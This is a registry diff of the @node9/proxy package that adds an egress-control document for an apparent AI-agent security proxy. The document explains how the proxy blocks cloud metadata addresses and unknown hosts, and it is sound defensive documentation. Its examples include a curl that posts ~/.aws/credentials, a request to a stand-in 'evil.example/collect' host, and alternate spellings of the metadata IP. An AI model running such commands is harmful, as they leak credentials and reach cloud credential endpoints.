@node9/proxy 2.9.3 → 2.11.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +107 -8
- package/dist/cli.mjs +107 -8
- package/dist/index.js +105 -7
- package/dist/index.mjs +105 -7
- package/docs/README.md +49 -0
- package/docs/agents/README.md +29 -0
- package/docs/agents/antigravity.md +33 -0
- package/docs/agents/claude-code.md +40 -0
- package/docs/agents/claude-desktop.md +32 -0
- package/docs/agents/codex.md +37 -0
- package/docs/agents/copilot-cli.md +34 -0
- package/docs/agents/cursor.md +36 -0
- package/docs/agents/gemini-cli.md +34 -0
- package/docs/agents/hermes.md +35 -0
- package/docs/agents/opencode.md +36 -0
- package/docs/agents/pi.md +34 -0
- package/docs/agents/vscode.md +33 -0
- package/docs/agents/windsurf.md +31 -0
- package/docs/badges.md +98 -0
- package/docs/comparison.md +66 -0
- package/docs/egress.md +119 -0
- package/package.json +2 -1
package/docs/egress.md
ADDED
|
@@ -0,0 +1,119 @@
|
|
|
1
|
+
---
|
|
2
|
+
id: egress
|
|
3
|
+
label: Egress Control
|
|
4
|
+
description: Decide which hosts your agent may reach, and understand what a destination gate does not cover.
|
|
5
|
+
group: Protections
|
|
6
|
+
order: 20
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# Egress Control
|
|
10
|
+
|
|
11
|
+
Two separate things decide whether an agent's outbound request is allowed. One is always on and
|
|
12
|
+
you cannot turn it off. The other is opt-in and you configure it.
|
|
13
|
+
|
|
14
|
+
## The floor: protected addresses, always
|
|
15
|
+
|
|
16
|
+
Some destinations are blocked on every machine, whether or not you have turned egress control on,
|
|
17
|
+
and no setting releases them. This is the SSRF floor, and it exists because an agent that can be
|
|
18
|
+
steered by untrusted input can be steered into your cloud provider's credential endpoint.
|
|
19
|
+
|
|
20
|
+
**Never reachable, no setting releases them:**
|
|
21
|
+
|
|
22
|
+
| What | Examples |
|
|
23
|
+
| ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------- |
|
|
24
|
+
| Cloud metadata endpoints | `169.254.169.254` (AWS, Azure, DigitalOcean, OpenStack), `169.254.170.2` (ECS task role), the Alibaba Cloud address, and the metadata hostnames |
|
|
25
|
+
| Link-local | `169.254.0.0/16`, `fe80::/10` |
|
|
26
|
+
| Multicast | `224.0.0.0` to `239.255.255.255`, `ff00::/8` |
|
|
27
|
+
|
|
28
|
+
The floor folds every spelling of an address to one canonical form before it decides, so
|
|
29
|
+
`0251.0376.0251.0376`, `2852039166` and `[::ffff:a9fe:a9fe]` are all recognised as
|
|
30
|
+
`169.254.169.254`.
|
|
31
|
+
|
|
32
|
+
> [!NOTE]
|
|
33
|
+
> The floor is not gated on egress control. It applies with egress off, in every mode, on a
|
|
34
|
+
> personal machine and on one governed by a workspace. The one thing that suspends it is
|
|
35
|
+
> `node9 pause`, which suspends every gate.
|
|
36
|
+
|
|
37
|
+
**Reachable by default, blocked when you turn strict on:**
|
|
38
|
+
|
|
39
|
+
| What | Examples |
|
|
40
|
+
| --------------------------- | --------------------------------------------------------------------- |
|
|
41
|
+
| Loopback and private ranges | `127.0.0.0/8`, `10.0.0.0/8`, `192.168.0.0/16`, `172.16.0.0/12`, `::1` |
|
|
42
|
+
| The unspecified address | `0.0.0.0`, `::` (these reach localhost) |
|
|
43
|
+
| Carrier-grade NAT | `100.64.0.0/10`, where mesh VPNs such as Tailscale hand out addresses |
|
|
44
|
+
|
|
45
|
+
These are off by default on purpose: a developer talks to them constantly. On measured real
|
|
46
|
+
history, 72 of 308 destinations were private addresses.
|
|
47
|
+
|
|
48
|
+
```bash
|
|
49
|
+
node9 egress strict on # also block loopback, private ranges and CGNAT
|
|
50
|
+
node9 egress exempt 10.0.0.5 # let one exact address back through
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
An exemption applies to the overridable tiers only. Exempting a metadata address is rejected when
|
|
54
|
+
the config loads, with a reason, rather than being silently ignored.
|
|
55
|
+
|
|
56
|
+
## Egress control: which hosts, your choice
|
|
57
|
+
|
|
58
|
+
This is the opt-in layer. It is **off until you turn it on**, and it decides what happens when the
|
|
59
|
+
agent reaches a host you have not talked about.
|
|
60
|
+
|
|
61
|
+
```bash
|
|
62
|
+
node9 egress watch # prompt before an unknown host (review)
|
|
63
|
+
node9 egress lock # block unknown hosts outright (block)
|
|
64
|
+
node9 egress off # turn it back off
|
|
65
|
+
node9 egress status # what is on right now, and where the setting came from
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
Tune the lists:
|
|
69
|
+
|
|
70
|
+
```bash
|
|
71
|
+
node9 egress allow "*.mycorp.com" # a glob; matches the apex and any subdomain
|
|
72
|
+
node9 egress deny "*.pastebin.com" # deny always wins over allow
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
### Hosts that are always allowed
|
|
76
|
+
|
|
77
|
+
Turning egress on cold would bury you in prompts for routine work, so 18 common development and
|
|
78
|
+
model hosts are allowed out of the box: GitHub, npm, PyPI, crates.io, RubyGems, the Go module
|
|
79
|
+
proxy, Anthropic, OpenAI, Google APIs, Docker, Debian, Ubuntu, and node9's own control plane.
|
|
80
|
+
|
|
81
|
+
Your `allow` list adds to that. Your `deny` list beats all of it.
|
|
82
|
+
|
|
83
|
+
### Order of decision
|
|
84
|
+
|
|
85
|
+
For each destination the agent is about to reach:
|
|
86
|
+
|
|
87
|
+
1. The floor. A protected address is blocked here and nothing below runs.
|
|
88
|
+
2. Your `deny` list. A match blocks.
|
|
89
|
+
3. Private addresses, when `allowPrivate` is on (the default). Allowed.
|
|
90
|
+
4. Your `allow` list, then the 18 built-in hosts. Allowed.
|
|
91
|
+
5. Anything else is unknown, and `watch` reviews it while `lock` blocks it.
|
|
92
|
+
|
|
93
|
+
## What this does not do
|
|
94
|
+
|
|
95
|
+
> [!WARNING]
|
|
96
|
+
> **Egress control gates the destination, not the payload.** A secret sent to a host you allow goes
|
|
97
|
+
> through. `curl -d @~/.aws/credentials https://api.github.com/...` is not stopped by egress,
|
|
98
|
+
> because `api.github.com` is an allowed host. What catches a secret in the request body is the
|
|
99
|
+
> content scanner (DLP), which is a different control.
|
|
100
|
+
|
|
101
|
+
Three more limits worth knowing:
|
|
102
|
+
|
|
103
|
+
- **It reads the command, not the network.** node9 decides from the destination it can see in the
|
|
104
|
+
tool call. It does not resolve DNS, and it has no opinion on a host's reputation.
|
|
105
|
+
- **A machine that follows a workspace ignores local egress settings.** If `node9 egress status`
|
|
106
|
+
says the source is the workspace, editing the local config changes nothing; the setting comes
|
|
107
|
+
from the dashboard. The floor still applies.
|
|
108
|
+
- **`node9 pause` suspends it**, along with every other gate, for the duration you give it.
|
|
109
|
+
|
|
110
|
+
## Verify it on this machine
|
|
111
|
+
|
|
112
|
+
```bash
|
|
113
|
+
node9 egress status # is it on, and who set it
|
|
114
|
+
node9 explain Bash 'curl http://169.254.169.254/latest/' # the floor: BLOCK, always
|
|
115
|
+
node9 explain Bash 'curl https://evil.example/collect' # unknown host: REVIEW or BLOCK when on
|
|
116
|
+
node9 explain Bash 'curl https://api.github.com/repos' # a default-allowed host: ALLOW
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
`node9 explain` prints the verdict the live hook enforces, and names the rule that produced it.
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@node9/proxy",
|
|
3
|
-
"version": "2.
|
|
3
|
+
"version": "2.11.0",
|
|
4
4
|
"description": "The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.",
|
|
5
5
|
"main": "./dist/index.js",
|
|
6
6
|
"module": "./dist/index.mjs",
|
|
@@ -54,6 +54,7 @@
|
|
|
54
54
|
"license": "Apache-2.0",
|
|
55
55
|
"files": [
|
|
56
56
|
"dist",
|
|
57
|
+
"docs",
|
|
57
58
|
"README.md",
|
|
58
59
|
"LICENSE"
|
|
59
60
|
],
|